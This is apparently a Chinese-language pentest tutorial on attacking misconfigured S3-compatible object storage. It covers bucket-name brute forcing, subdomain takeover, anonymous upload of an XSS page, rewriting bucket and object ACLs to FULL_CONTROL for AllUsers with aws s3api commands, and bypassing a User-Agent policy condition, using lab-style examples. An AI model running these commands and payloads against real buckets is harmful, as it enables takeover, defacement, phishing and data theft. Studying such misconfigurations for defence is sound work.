S3 是 Amazon Simple Storage Service 的缩写,最早由 AWS 提出,是一种基于对象的云存储服务。现在各大云厂商(如阿里云 OSS、腾讯云 COS、华为云 OBS)都提供了 兼容 S3 协议 的对象存储服务
S3 的核心结构(概念层)
S3 存储结构:
┌────────────────────────────┐
│ Bucket(桶) │← 顶级容器,存储所有对象的“云文件夹”
├────────────────────────────┤
│ ┌────────────────────────┐ │
│ │ Object(对象) │ │← 真正的文件,如图片、视频、日志等
│ │ ├───────┬────────────┤ │
│ │ │ Key │ 唯一标识路径│ │← 类似文件名或路径名
│ │ ├───────┼────────────┤ │
│ │ │ Data │ 文件内容 │ │← 文件的真实数据内容
│ │ ├───────┼────────────┤ │
│ │ │Metadata│ 元信息 │ │← 比如 Content-Type、创建时间
│ │ └───────┴────────────┘ │
│ └────────────────────────┘ │
├────────────────────────────┤
│ …… │ ← Bucket 中可以有无限个 Object
└────────────────────────────┘
简单来说就是Bucket里有多个Object,Object又由Key,Data,Metadata组成,上面图有点丑,凑合看吧
- Bucket(桶):每个用户可以创建多个 bucket,是存储空间的逻辑单位。
- Object(对象):就是你上传的文件(比如
cat.jpg
),可以是图片、视频、日志等任何格式。 - Key:对象的路径名,像是
/images/cat.jpg
。 - Data:文件本体,比如图像二进制。
- Metadata:即元数据,可以简单的理解成数据的标签、描述之类的信息,这点不同于传统的文件存储,在传统的文件存储中这类信息是直接封装在文件里的,有了元数据的存在,可以大大的加快对象的排序、分类和查找
- URL 访问:对象默认私有,也可以设为公开或通过临时 URL 访问。
Bucket爆破
当不知道 Bucket 名称的时候,可以通过爆破获得 Bucket 名称,这有些类似于目录爆破,只不过目录爆破一般通过状态码判断,而这个通过页面的内容判断
当 Bucket 不存在时有两种返回情况,分别是 InvalidBucketName 和 NoSuchBucket
当 Bucket 存在时也会有两种情况,一种是列出 Object,另一种是返回 AccessDenied
这样通过返回内容的不同,就可以进行 Bucket 名称爆破了,知道 Bucket 名称后,Key 的爆破也就很容易了
Bucket接管
当某个子域名指向了某个外部服务(如 S3 Bucket),但这个服务 已经被删除或未创建,攻击者就可以在这个服务商平台上创建对应名称,从而接管该子域名的实际控制权
举个简单的例子:
test.example.com
指向了一个不存在的Bucket,说明这个Bucket可以接管,同时 Bucket 的名称在页面中也会告诉了我们,可以通过通过 cname 记录判断这是哪家的S3,然后去对应的平台上创建对应名称的Bucket,然后就可以成功接管这个子域名的权限
ps:在腾讯云的对象存储中无法完成以上的操作,因为在腾讯云的对象存储域名中,有一个APPID,这个APPID来自我们的账户信息中
S3任意文件上传
如果对象存储配置不当,比如公共读写,那么就可能造成任意文件上传,如果目标的对象存储支持 html 解析,那就可以利用任意文件上传进行 XSS 钓鱼、挂暗链、挂黑页、供应链投毒等操作
测试思路
# 尝试匿名上传文件
aws s3 cp evil.html s3://target-bucket/ --acl public-read --region us-east-1
或者使用 Burp/脚本构造上传接口测试:
PUT /malware.html HTTP/1.1
Host: victim.s3.amazonaws.com
Content-Type: text/html
Content-Length: 1234
<html><script>alert('xss')</script></html>
Bucket ACL可写
ACL(Access Control List) 是 S3 提供的一种早期权限控制机制,它定义了某个用户/组对 Bucket 或 Object 拥有的权限(例如 READ
、WRITE
、FULL_CONTROL
)。
如果一个 Bucket 的 ACL 设置为对外开放写权限(可写),就意味着任何人都可以向这个 Bucket 上传文件或修改原有对象的权限。
aws s3api put-bucket-acl \
--bucket victim-bucket-name \
--grant-write 'uri="http://acs.amazonaws.com/groups/global/AllUsers"'
这个配置意味着所有人(AllUsers)都有写权限
通过官方文档,可以分析出这个策略表示任何人都可以访问、写入当前 Bucket 的 ACL
那么也就是说如果我们把权限修改为 FULL_CONTROL 后,就可以控制这个 Bucket 了,最后修改后的策略如下:
{
"Owner": {
"ID": "d24***5"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AllUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
将该策略写入
aws s3api put-bucket-acl --bucket teamssix --access-control-policy file://acl.json
Object ACL
同理,这个策略和上面的 Bucket ACL 策略一样,表示任何人都可以访问、写入当前 ACL,但是不能读取、写入对象
将权限修改为 FULL_CONTROL 后,Object ACL 策略如下:
{
"Owner": {
"ID": "d24***5"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AllUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
将该策略写入后,就可以读取对象了
aws s3api put-object-acl --bucket teamssix --key flag --access-control-policy file://acl.json
Bucket Object遍历
在 s3 中如果在 Bucket 策略处,设置了 s3:ListBucket 的策略,就会导致 Bucket Object 遍历,将 Key 里的值拼接到目标站点后,就能访问该 Bucket 里相应的对象了
特定的 Bucket 策略配置
S3 支持在策略中添加条件(Condition
字段),例如限制:
- 请求头(如
User-Agent
) - IP 地址段(
aws:SourceIp
) - 请求来源服务(
aws:Referer
) - 时间(
Date
) - 多重匹配组合(
StringLike
、Bool
、IpAddress
)
只要我们知道并构造满足这些条件的请求,就能访问本来被拒绝的对象
例如下面这个
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "TeamsSixFlagPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::example/flag",
"Condition": {
"StringLike": {
"aws:UserAgent": "TeamsSix"
}
}
}
]
}
直接访问example/flag会提示 AccessDenied
但是如果加上对应的ua头,就可以正常访问了